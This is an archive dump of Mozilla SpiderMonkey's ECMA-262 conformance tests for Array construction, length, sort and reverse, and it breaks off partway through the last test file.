sstanglsstanglmozjs17.0.0/js/src/tests/ecma/Array/15.4.1.js0000664000175000017500000000532212106270663020217 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.4.1.js ECMA Section: 15.4.1 The Array Constructor Called as a Function Description: When Array is called as a function rather than as a constructor, it creates and initializes a new array object. Thus, the function call Array(...) is equivalent to the object creationi new Array(...) with the same arguments. Author: christine@netscape.com Date: 7 october 1997 */ var SECTION = "15.4.1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The Array Constructor Called as a Function"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Array() +''", "", Array() +"" ); new TestCase( SECTION, "typeof Array()", "object", typeof Array() ); new TestCase( SECTION, "var arr = Array(); arr.getClass = Object.prototype.toString; arr.getClass()", "[object Array]", eval("var arr = Array(); arr.getClass = Object.prototype.toString; arr.getClass()") ); new TestCase( SECTION, "var arr = Array(); arr.toString == Array.prototype.toString", true, eval("var arr = Array(); arr.toString == Array.prototype.toString") ); new TestCase( SECTION, "Array().length", 0, Array().length ); new TestCase( SECTION, "Array(1,2,3) +''", "1,2,3", Array(1,2,3) +"" ); new TestCase( SECTION, "typeof Array(1,2,3)", "object", typeof Array(1,2,3) ); new TestCase( SECTION, "var arr = Array(1,2,3); arr.getClass = Object.prototype.toString; arr.getClass()", "[object Array]", eval("var arr = Array(1,2,3); arr.getClass = Object.prototype.toString; arr.getClass()") ); new TestCase( SECTION, "var arr = Array(1,2,3); arr.toString == Array.prototype.toString", true, eval("var arr = Array(1,2,3); arr.toString == Array.prototype.toString") ); new TestCase( SECTION, "Array(1,2,3).length", 3, Array(1,2,3).length ); new TestCase( SECTION, "typeof Array(12345)", "object", typeof Array(12345) ); new TestCase( SECTION, "var arr = Array(12345); arr.getClass = Object.prototype.toString; arr.getClass()", "[object Array]", eval("var arr = Array(12345); arr.getClass = Object.prototype.toString; arr.getClass()") ); new TestCase( SECTION, "var arr = Array(1,2,3,4,5); arr.toString == Array.prototype.toString", true, eval("var arr = Array(1,2,3,4,5); arr.toString == Array.prototype.toString") ); new TestCase( SECTION, "Array(12345).length", 12345, Array(12345).length ); test(); mozjs17.0.0/js/src/tests/ecma/Array/15.4-2.js0000664000175000017500000000615212106270663020221 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.4-2.js ECMA Section: 15.4 Array Objects Description: Whenever a property is added whose name is an array index, the length property is changed, if necessary, to be one more than the numeric value of that array index; and whenever the length property is changed, every property whose name is an array index whose value is not smaller than the new length is automatically deleted. This constraint applies only to the Array object itself, and is unaffected by length or array index properties that may be inherited from its prototype. Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.4-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Array Objects"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "var arr=new Array(); arr[Math.pow(2,16)] = 'hi'; arr.length", Math.pow(2,16)+1, eval("var arr=new Array(); arr[Math.pow(2,16)] = 'hi'; arr.length") ); new TestCase( SECTION, "var arr=new Array(); arr[Math.pow(2,30)-2] = 'hi'; arr.length", Math.pow(2,30)-1, eval("var arr=new Array(); arr[Math.pow(2,30)-2] = 'hi'; arr.length") ); new TestCase( SECTION, "var arr=new Array(); arr[Math.pow(2,30)-1] = 'hi'; arr.length", Math.pow(2,30), eval("var arr=new Array(); arr[Math.pow(2,30)-1] = 'hi'; arr.length") ); new TestCase( SECTION, "var arr=new Array(); arr[Math.pow(2,30)] = 'hi'; arr.length", Math.pow(2,30)+1, eval("var arr=new Array(); arr[Math.pow(2,30)] = 'hi'; arr.length") ); new TestCase( SECTION, "var arr=new Array(); arr[Math.pow(2,31)-2] = 'hi'; arr.length", Math.pow(2,31)-1, eval("var arr=new Array(); arr[Math.pow(2,31)-2] = 'hi'; arr.length") ); new TestCase( SECTION, "var arr=new Array(); arr[Math.pow(2,31)-1] = 'hi'; arr.length", Math.pow(2,31), eval("var arr=new Array(); arr[Math.pow(2,31)-1] = 'hi'; arr.length") ); new TestCase( SECTION, "var arr=new Array(); arr[Math.pow(2,31)] = 'hi'; arr.length", Math.pow(2,31)+1, eval("var arr=new Array(); arr[Math.pow(2,31)] = 'hi'; arr.length") ); new TestCase( SECTION, "var arr = new Array(0,1,2,3,4,5); arr.length = 2; String(arr)", "0,1", eval("var arr = new Array(0,1,2,3,4,5); arr.length = 2; String(arr)") ); new TestCase( SECTION, "var arr = new Array(0,1); arr.length = 3; String(arr)", "0,1,", eval("var arr = new Array(0,1); arr.length = 3; String(arr)") ); test(); mozjs17.0.0/js/src/tests/ecma/Array/shell.js0000664000175000017500000000000012106270663020564 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/Array/15.4.2.2-1.js0000664000175000017500000000751312106270663020522 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.4.2.2-1.js ECMA Section: 15.4.2.2 new Array(len) Description: This description only applies of the constructor is given two or more arguments. The [[Prototype]] property of the newly constructed object is set to the original Array prototype object, the one that is the initial value of Array.prototype(0) (15.4.3.1). The [[Class]] property of the newly constructed object is set to "Array". If the argument len is a number, then the length property of the newly constructed object is set to ToUint32(len). If the argument len is not a number, then the length property of the newly constructed object is set to 1 and the 0 property of the newly constructed object is set to len. This file tests cases where len is a number. The cases in this test need to be updated since the ToUint32_t description has changed. Author: christine@netscape.com Date: 7 october 1997 */ var SECTION = "15.4.2.2-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The Array Constructor: new Array( len )"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "new Array(0)", "", (new Array(0)).toString() ); new TestCase( SECTION, "typeof new Array(0)", "object", (typeof new Array(0)) ); new TestCase( SECTION, "(new Array(0)).length", 0, (new Array(0)).length ); new TestCase( SECTION, "(new Array(0)).toString", Array.prototype.toString, (new Array(0)).toString ); new TestCase( SECTION, "new Array(1)", "", (new Array(1)).toString() ); new TestCase( SECTION, "new Array(1).length", 1, (new Array(1)).length ); new TestCase( SECTION, "(new Array(1)).toString", Array.prototype.toString, (new Array(1)).toString ); new TestCase( SECTION, "(new Array(-0)).length", 0, (new Array(-0)).length ); new TestCase( SECTION, "(new Array(0)).length", 0, (new Array(0)).length ); new TestCase( SECTION, "(new Array(10)).length", 10, (new Array(10)).length ); new TestCase( SECTION, "(new Array('1')).length", 1, (new Array('1')).length ); new TestCase( SECTION, "(new Array(1000)).length", 1000, (new Array(1000)).length ); new TestCase( SECTION, "(new Array('1000')).length", 1, (new Array('1000')).length ); new TestCase( SECTION, "(new Array(4294967295)).length", ToUint32(4294967295), (new Array(4294967295)).length ); new TestCase( SECTION, "(new Array('8589934592')).length", 1, (new Array("8589934592")).length ); new TestCase( SECTION, "(new Array('4294967296')).length", 1, (new Array("4294967296")).length ); new TestCase( SECTION, "(new Array(1073741824)).length", ToUint32(1073741824), (new Array(1073741824)).length ); test(); function ToUint32( n ) { n = Number( n ); var sign = ( n < 0 ) ? -1 : 1; if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) { return 0; } n = sign * Math.floor( Math.abs(n) ) n = n % Math.pow(2,32); if ( n < 0 ){ n += Math.pow(2,32); } return ( n ); } mozjs17.0.0/js/src/tests/ecma/Array/15.4.4.5-1.js0000664000175000017500000001515312106270663020526 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.4.4.5.js ECMA Section: Array.prototype.sort(comparefn) Description: This test file tests cases in which the compare function is not supplied. The elements of this array are sorted. The sort is not necessarily stable. If comparefn is provided, it should be a function that accepts two arguments x and y and returns a negative value if x < y, zero if x = y, or a positive value if x > y. 1. Call the [[Get]] method of this object with argument "length". 2. Call ToUint32(Result(1)). 1. Perform an implementation-dependent sequence of calls to the [[Get]] , [[Put]], and [[Delete]] methods of this object and toSortCompare (described below), where the first argument for each call to [[Get]], [[Put]] , or [[Delete]] is a nonnegative integer less than Result(2) and where the arguments for calls to SortCompare are results of previous calls to the [[Get]] method. After this sequence is complete, this object must have the following two properties. (1) There must be some mathematical permutation of the nonnegative integers less than Result(2), such that for every nonnegative integer j less than Result(2), if property old[j] existed, then new[(j)] is exactly the same value as old[j],. but if property old[j] did not exist, then new[(j)] either does not exist or exists with value undefined. (2) If comparefn is not supplied or is a consistent comparison function for the elements of this array, then for all nonnegative integers j and k, each less than Result(2), if old[j] compares less than old[k] (see SortCompare below), then (j) < (k). Here we use the notation old[j] to refer to the hypothetical result of calling the [ [Get]] method of this object with argument j before this step is executed, and the notation new[j] to refer to the hypothetical result of calling the [[Get]] method of this object with argument j after this step has been completely executed. A function is a consistent comparison function for a set of values if (a) for any two of those values (possibly the same value) considered as an ordered pair, it always returns the same value when given that pair of values as its two arguments, and the result of applying ToNumber to this value is not NaN; (b) when considered as a relation, where the pair (x, y) is considered to be in the relation if and only if applying the function to x and y and then applying ToNumber to the result produces a negative value, this relation is a partial order; and (c) when considered as a different relation, where the pair (x, y) is considered to be in the relation if and only if applying the function to x and y and then applying ToNumber to the result produces a zero value (of either sign), this relation is an equivalence relation. In this context, the phrase "x compares less than y" means applying Result(2) to x and y and then applying ToNumber to the result produces a negative value. 3.Return this object. When the SortCompare operator is called with two arguments x and y, the following steps are taken: 1.If x and y are both undefined, return +0. 2.If x is undefined, return 1. 3.If y is undefined, return 1. 4.If the argument comparefn was not provided in the call to sort, go to step 7. 5.Call comparefn with arguments x and y. 6.Return Result(5). 7.Call ToString(x). 8.Call ToString(y). 9.If Result(7) < Result(8), return 1. 10.If Result(7) > Result(8), return 1. 11.Return +0. Note that, because undefined always compared greater than any other value, undefined and nonexistent property values always sort to the end of the result. It is implementation-dependent whether or not such properties will exist or not at the end of the array when the sort is concluded. Note that the sort function is intentionally generic; it does not require that its this value be an Array object. Therefore it can be transferred to other kinds of objects for use as a method. Whether the sort function can be applied successfully to a host object is implementation dependent . Author: christine@netscape.com Date: 12 november 1997 */ var SECTION = "15.4.4.5-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Array.prototype.sort(comparefn)"; writeHeaderToLog( SECTION + " "+ TITLE); var S = new Array(); var item = 0; // array is empty. S[item++] = "var A = new Array()"; // array contains one item S[item++] = "var A = new Array( true )"; // length of array is 2 S[item++] = "var A = new Array( true, false, new Boolean(true), new Boolean(false), 'true', 'false' )"; S[item++] = "var A = new Array(); A[3] = 'undefined'; A[6] = null; A[8] = 'null'; A[0] = void 0"; S[item] = "var A = new Array( "; var limit = 0x0061; for ( var i = 0x007A; i >= limit; i-- ) { S[item] += "\'"+ String.fromCharCode(i) +"\'" ; if ( i > limit ) { S[item] += ","; } } S[item] += ")"; item++; for ( var i = 0; i < S.length; i++ ) { CheckItems( S[i] ); } test(); function CheckItems( S ) { eval( S ); var E = Sort( A ); new TestCase( SECTION, S +"; A.sort(); A.length", E.length, eval( S + "; A.sort(); A.length") ); for ( var i = 0; i < E.length; i++ ) { new TestCase( SECTION, "A["+i+ "].toString()", E[i] +"", A[i] +""); if ( A[i] == void 0 && typeof A[i] == "undefined" ) { new TestCase( SECTION, "typeof A["+i+ "]", typeof E[i], typeof A[i] ); } } } function Object_1( value ) { this.array = value.split(","); this.length = this.array.length; for ( var i = 0; i < this.length; i++ ) { this[i] = eval(this.array[i]); } this.sort = Array.prototype.sort; this.getClass = Object.prototype.toString; } function Sort( a ) { for ( i = 0; i < a.length; i++ ) { for ( j = i+1; j < a.length; j++ ) { var lo = a[i]; var hi = a[j]; var c = Compare( lo, hi ); if ( c == 1 ) { a[i] = hi; a[j] = lo; } } } return a; } function Compare( x, y ) { if ( x == void 0 && y == void 0 && typeof x == "undefined" && typeof y == "undefined" ) { return +0; } if ( x == void 0 && typeof x == "undefined" ) { return 1; } if ( y == void 0 && typeof y == "undefined" ) { return -1; } x = String(x); y = String(y); if ( x < y ) { return -1; } if ( x > y ) { return 1; } return 0; } mozjs17.0.0/js/src/tests/ecma/Array/15.4.4.4-2.js0000664000175000017500000001066512106270663020531 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.4.4.3-1.js ECMA Section: 15.4.4.3-1 Array.prototype.reverse() Description: The elements of the array are rearranged so as to reverse their order. This object is returned as the result of the call. 1. Call the [[Get]] method of this object with argument "length". 2. Call ToUint32(Result(1)). 3. Compute floor(Result(2)/2). 4. Let k be 0. 5. If k equals Result(3), return this object. 6. Compute Result(2)k1. 7. Call ToString(k). 8. ToString(Result(6)). 9. Call the [[Get]] method of this object with argument Result(7). 10. Call the [[Get]] method of this object with argument Result(8). 11. If this object has a property named by Result(8), go to step 12; but if this object has no property named by Result(8), then go to either step 12 or step 14, depending on the implementation. 12. Call the [[Put]] method of this object with arguments Result(7) and Result(10). 13. Go to step 15. 14. Call the [[Delete]] method on this object, providing Result(7) as the name of the property to delete. 15. If this object has a property named by Result(7), go to step 16; but if this object has no property named by Result(7), then go to either step 16 or step 18, depending on the implementation. 16. Call the [[Put]] method of this object with arguments Result(8) and Result(9). 17. Go to step 19. 18. Call the [[Delete]] method on this object, providing Result(8) as the name of the property to delete. 19. Increase k by 1. 20. Go to step 5. Note that the reverse function is intentionally generic; it does not require that its this value be an Array object. Therefore it can be transferred to other kinds of objects for use as a method. Whether the reverse function can be applied successfully to a host object is implementation dependent. Note: Array.prototype.reverse allows some flexibility in implementation regarding array indices that have not been populated. This test covers the cases in which unpopulated indices are not deleted, since the JavaScript implementation does not delete uninitialzed indices. Author: christine@netscape.com Date: 7 october 1997 */ var SECTION = "15.4.4.4-1"; var VERSION = "ECMA_1"; startTest(); writeHeaderToLog( SECTION + " Array.prototype.reverse()"); var ARR_PROTOTYPE = Array.prototype; new TestCase( SECTION, "Array.prototype.reverse.length", 0, Array.prototype.reverse.length ); new TestCase( SECTION, "delete Array.prototype.reverse.length", false, delete Array.prototype.reverse.length ); new TestCase( SECTION, "delete Array.prototype.reverse.length; Array.prototype.reverse.length", 0, eval("delete Array.prototype.reverse.length; Array.prototype.reverse.length") ); // length of array is 0 new TestCase( SECTION, "var A = new Array(); A.reverse(); A.length", 0, eval("var A = new Array(); A.reverse(); A.length") ); test(); function CheckItems( R, A ) { for ( var i = 0; i < R.length; i++ ) { new TestCase( SECTION, "A["+i+ "]", R[i], A[i] ); } } test(); function Object_1( value ) { this.array = value.split(","); this.length = this.array.length; for ( var i = 0; i < this.length; i++ ) { this[i] = eval(this.array[i]); } this.join = Array.prototype.reverse; this.getClass = Object.prototype.toString; } function Reverse( array ) { var r2 = array.length; var k = 0; var r3 = Math.floor( r2/2 ); if ( r3 == k ) { return array; } for ( k = 0; k < r3; k++ ) { var r6 = r2 - k - 1; // var r7 = String( k ); var r7 = k; var r8 = String( r6 ); var r9 = array[r7]; var r10 = array[r8]; array[r7] = r10; array[r8] = r9; } return array; } function Iterate( array ) { for ( var i = 0; i < array.length; i++ ) { // print( i+": "+ array[String(i)] ); } } function Object_1( value ) { this.array = value.split(","); this.length = this.array.length; for ( var i = 0; i < this.length; i++ ) { this[i] = this.array[i]; } this.reverse = Array.prototype.reverse; this.getClass = Object.prototype.toString; } mozjs17.0.0/js/src/tests/ecma/Array/15.4.1.2.js0000664000175000017500000000665412106270663020370 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.4.1.2.js ECMA Section: 15.4.1.2 Array(len) Description: When Array is called as a function rather than as a constructor, it creates and initializes a new array object. Thus, the function call Array(...) is equivalent to the object creationi new Array(...) with the same arguments. An array is created and returned as if by the expression new Array(len). Author: christine@netscape.com Date: 7 october 1997 */ var SECTION = "15.4.1.2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Array Constructor Called as a Function: Array(len)"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "(Array()).length", 0, (Array()).length ); new TestCase( SECTION, "(Array(0)).length", 0, (Array(0)).length ); new TestCase( SECTION, "(Array(1)).length", 1, (Array(1)).length ); new TestCase( SECTION, "(Array(10)).length", 10, (Array(10)).length ); new TestCase( SECTION, "(Array('1')).length", 1, (Array('1')).length ); new TestCase( SECTION, "(Array(1000)).length", 1000, (Array(1000)).length ); new TestCase( SECTION, "(Array('1000')).length", 1, (Array('1000')).length ); new TestCase( SECTION, "(Array(4294967295)).length", ToUint32(4294967295), (Array(4294967295)).length ); new TestCase( SECTION, "(Array(Math.pow(2,31)-1)).length", ToUint32(Math.pow(2,31)-1), (Array(Math.pow(2,31)-1)).length ); new TestCase( SECTION, "(Array(Math.pow(2,31))).length", ToUint32(Math.pow(2,31)), (Array(Math.pow(2,31))).length ); new TestCase( SECTION, "(Array(Math.pow(2,31)+1)).length", ToUint32(Math.pow(2,31)+1), (Array(Math.pow(2,31)+1)).length ); new TestCase( SECTION, "(Array('8589934592')).length", 1, (Array("8589934592")).length ); new TestCase( SECTION, "(Array('4294967296')).length", 1, (Array("4294967296")).length ); new TestCase( SECTION, "(Array(1073741823)).length", ToUint32(1073741823), (Array(1073741823)).length ); new TestCase( SECTION, "(Array(1073741824)).length", ToUint32(1073741824), (Array(1073741824)).length ); new TestCase( SECTION, "(Array('a string')).length", 1, (Array("a string")).length ); test(); function ToUint32( n ) { n = Number( n ); var sign = ( n < 0 ) ? -1 : 1; if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) { return 0; } n = sign * Math.floor( Math.abs(n) ) n = n % Math.pow(2,32); if ( n < 0 ){ n += Math.pow(2,32); } return ( n ); } mozjs17.0.0/js/src/tests/ecma/Array/15.4.3.2.js0000664000175000017500000000135112106270663020357 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.4.3.2.js ECMA Section: 15.4.3.2 Array.length Description: The length property is 1. Author: christine@netscape.com Date: 7 october 1997 */ var SECTION = "15.4.3.2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Array.length"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "Array.length", 1, Array.length ); test(); mozjs17.0.0/js/src/tests/ecma/Array/15.4.2.1-2.js0000664000175000017500000000365212106270663020522 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.4.2.1-2.js ECMA Section: 15.4.2.1 new Array( item0, item1, ... ) Description: This description only applies of the constructor is given two or more arguments. The [[Prototype]] property of the newly constructed object is set to the original Array prototype object, the one that is the initial value of Array.prototype (15.4.3.1). The [[Class]] property of the newly constructed object is set to "Array". The length property of the newly constructed object is set to the number of arguments. The 0 property of the newly constructed object is set to item0... in general, for as many arguments as there are, the k property of the newly constructed object is set to argument k, where the first argument is considered to be argument number 0. Author: christine@netscape.com Date: 7 october 1997 */ var SECTION = "15.4.2.1-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The Array Constructor: new Array( item0, item1, ...)"; writeHeaderToLog( SECTION + " "+ TITLE); var TEST_STRING = "new Array("; var ARGUMENTS = "" var TEST_LENGTH = Math.pow(2,10); //Math.pow(2,32); for ( var index = 0; index < TEST_LENGTH; index++ ) { ARGUMENTS += index; ARGUMENTS += (index == (TEST_LENGTH-1) ) ? "" : ","; } TEST_STRING += ARGUMENTS + ")"; TEST_ARRAY = eval( TEST_STRING ); for ( var item = 0; item < TEST_LENGTH; item++ ) { new TestCase( SECTION, "["+item+"]", item, TEST_ARRAY[item] ); } new TestCase( SECTION, "new Array( ["+TEST_LENGTH+" arguments] ) +''", ARGUMENTS, TEST_ARRAY +"" ); test(); mozjs17.0.0/js/src/tests/ecma/Array/array-length-set-on-nonarray.js0000664000175000017500000000116612106270663025122 0ustar sstanglsstangl// Any copyright is dedicated to the Public Domain. // http://creativecommons.org/licenses/publicdomain/ //----------------------------------------------------------------------------- var BUGNUMBER = 548671; var summary = "Don't use a shared-permanent inherited property to implement " + "[].length or (function(){}).length"; print(BUGNUMBER + ": " + summary); /************** * BEGIN TEST * **************/ var a = []; a.p = 1; var x = Object.create(a); assertEq(x.length, 0); assertEq(x.p, 1); assertEq(a.length, 0); if (typeof reportCompare === "function") reportCompare(true, true); print("All tests passed!"); mozjs17.0.0/js/src/tests/ecma/Array/15.4.1.3.js0000664000175000017500000000263612106270663020365 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.4.1.3.js ECMA Section: 15.4.1.3 Array() Description: When Array is called as a function rather than as a constructor, it creates and initializes a new array object. Thus, the function call Array(...) is equivalent to the object creationi new Array(...) with the same arguments. An array is created and returned as if by the expression new Array(len). Author: christine@netscape.com Date: 7 october 1997 */ var SECTION = "15.4.1.3"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Array Constructor Called as a Function: Array()"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "typeof Array()", "object", typeof Array() ); new TestCase( SECTION, "MYARR = new Array();MYARR.getClass = Object.prototype.toString;MYARR.getClass()", "[object Array]", eval("MYARR = Array();MYARR.getClass = Object.prototype.toString;MYARR.getClass()") ); new TestCase( SECTION, "(Array()).length", 0, (Array()).length ); new TestCase( SECTION, "Array().toString()", "", Array().toString() ); test(); mozjs17.0.0/js/src/tests/ecma/Array/15.4.2.3.js0000664000175000017500000000415512106270663020364 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.4.2.3.js ECMA Section: 15.4.2.3 new Array() Description: The [[Prototype]] property of the newly constructed object is set to the origianl Array prototype object, the one that is the initial value of Array.prototype. The [[Class]] property of the new object is set to "Array". The length of the object is set to 0. Author: christine@netscape.com Date: 7 october 1997 */ var SECTION = "15.4.2.3"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The Array Constructor: new Array()"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "new Array() +''", "", (new Array()) +"" ); new TestCase( SECTION, "typeof new Array()", "object", (typeof new Array()) ); new TestCase( SECTION, "var arr = new Array(); arr.getClass = Object.prototype.toString; arr.getClass()", "[object Array]", eval("var arr = new Array(); arr.getClass = Object.prototype.toString; arr.getClass()") ); new TestCase( SECTION, "(new Array()).length", 0, (new Array()).length ); new TestCase( SECTION, "(new Array()).toString == Array.prototype.toString", true, (new Array()).toString == Array.prototype.toString ); new TestCase( SECTION, "(new Array()).join == Array.prototype.join", true, (new Array()).join == Array.prototype.join ); new TestCase( SECTION, "(new Array()).reverse == Array.prototype.reverse", true, (new Array()).reverse == Array.prototype.reverse ); new TestCase( SECTION, "(new Array()).sort == Array.prototype.sort", true, (new Array()).sort == Array.prototype.sort ); test(); mozjs17.0.0/js/src/tests/ecma/Array/15.4.3.1-2.js0000664000175000017500000000254312106270663020521 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.4.3.1-1.js ECMA Section: 15.4.3.1 Array.prototype Description: The initial value of Array.prototype is the built-in Array prototype object (15.4.4). Author: christine@netscape.com Date: 7 october 1997 */ var SECTION = "15.4.3.1-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Array.prototype"; writeHeaderToLog( SECTION + " "+ TITLE); var ARRAY_PROTO = Array.prototype; new TestCase( SECTION, "var props = ''; for ( p in Array ) { props += p } props", "", eval("var props = ''; for ( p in Array ) { props += p } props") ); new TestCase( SECTION, "Array.prototype = null; Array.prototype", ARRAY_PROTO, eval("Array.prototype = null; Array.prototype") ); new TestCase( SECTION, "delete Array.prototype", false, delete Array.prototype ); new TestCase( SECTION, "delete Array.prototype; Array.prototype", ARRAY_PROTO, eval("delete Array.prototype; Array.prototype") ); test(); mozjs17.0.0/js/src/tests/ecma/Array/browser.js0000664000175000017500000000000012106270663021140 0ustar sstanglsstanglmozjs17.0.0/js/src/tests/ecma/Array/15.4.2.2-2.js0000664000175000017500000000475712106270663020532 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.4.2.2-2.js ECMA Section: 15.4.2.2 new Array(len) Description: This description only applies of the constructor is given two or more arguments. The [[Prototype]] property of the newly constructed object is set to the original Array prototype object, the one that is the initial value of Array.prototype(0) (15.4.3.1). The [[Class]] property of the newly constructed object is set to "Array". If the argument len is a number, then the length property of the newly constructed object is set to ToUint32(len). If the argument len is not a number, then the length property of the newly constructed object is set to 1 and the 0 property of the newly constructed object is set to len. This file tests length of the newly constructed array when len is not a number. Author: christine@netscape.com Date: 7 october 1997 */ var SECTION = "15.4.2.2-2"; var VERSION = "ECMA_1"; startTest(); var TITLE = "The Array Constructor: new Array( len )"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase( SECTION, "(new Array(new Number(1073741823))).length", 1, (new Array(new Number(1073741823))).length ); new TestCase( SECTION, "(new Array(new Number(0))).length", 1, (new Array(new Number(0))).length ); new TestCase( SECTION, "(new Array(new Number(1000))).length", 1, (new Array(new Number(1000))).length ); new TestCase( SECTION, "(new Array('mozilla, larryzilla, curlyzilla')).length", 1, (new Array('mozilla, larryzilla, curlyzilla')).length ); new TestCase( SECTION, "(new Array(true)).length", 1, (new Array(true)).length ); new TestCase( SECTION, "(new Array(false)).length", 1, (new Array(false)).length); new TestCase( SECTION, "(new Array(new Boolean(true)).length", 1, (new Array(new Boolean(true))).length ); new TestCase( SECTION, "(new Array(new Boolean(false)).length", 1, (new Array(new Boolean(false))).length ); test(); mozjs17.0.0/js/src/tests/ecma/Array/15.4-1.js0000664000175000017500000000701312106270663020215 0ustar sstanglsstangl/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ /** File Name: 15.4-1.js ECMA Section: 15.4 Array Objects Description: Every Array object has a length property whose value is always an integer with positive sign and less than Math.pow(2,32). Author: christine@netscape.com Date: 28 october 1997 */ var SECTION = "15.4-1"; var VERSION = "ECMA_1"; startTest(); var TITLE = "Array Objects"; writeHeaderToLog( SECTION + " "+ TITLE); new TestCase(SECTION, "var myarr = new Array(); myarr[Math.pow(2,32)-2]='hi'; myarr[Math.pow(2,32)-2]", "hi", eval("var myarr = new Array(); myarr[Math.pow(2,32)-2]='hi'; myarr[Math.pow(2,32)-2]") ); new TestCase(SECTION, "var myarr = new Array(); myarr[Math.pow(2,32)-2]='hi'; myarr.length", (Math.pow(2,32)-1), eval("var myarr = new Array(); myarr[Math.pow(2,32)-2]='hi'; myarr.length") ); new TestCase(SECTION, "var myarr = new Array(); myarr[Math.pow(2,32)-3]='hi'; myarr[Math.pow(2,32)-3]", "hi", eval("var myarr = new Array(); myarr[Math.pow(2,32)-3]='hi'; myarr[Math.pow(2,32)-3]") ); new TestCase(SECTION, "var myarr = new Array(); myarr[Math.pow(2,32)-3]='hi'; myarr.length", (Math.pow(2,32)-2), eval("var myarr = new Array(); myarr[Math.pow(2,32)-3]='hi'; myarr.length") ); new TestCase(SECTION, "var myarr = new Array(); myarr[Math.pow(2,31)-2]='hi'; myarr[Math.pow(2,31)-2]", "hi", eval("var myarr = new Array(); myarr[Math.pow(2,31)-2]='hi'; myarr[Math.pow(2,31)-2]") ); new TestCase(SECTION, "var myarr = new Array(); myarr[Math.pow(2,31)-2]='hi'; myarr.length", (Math.pow(2,31)-1), eval("var myarr = 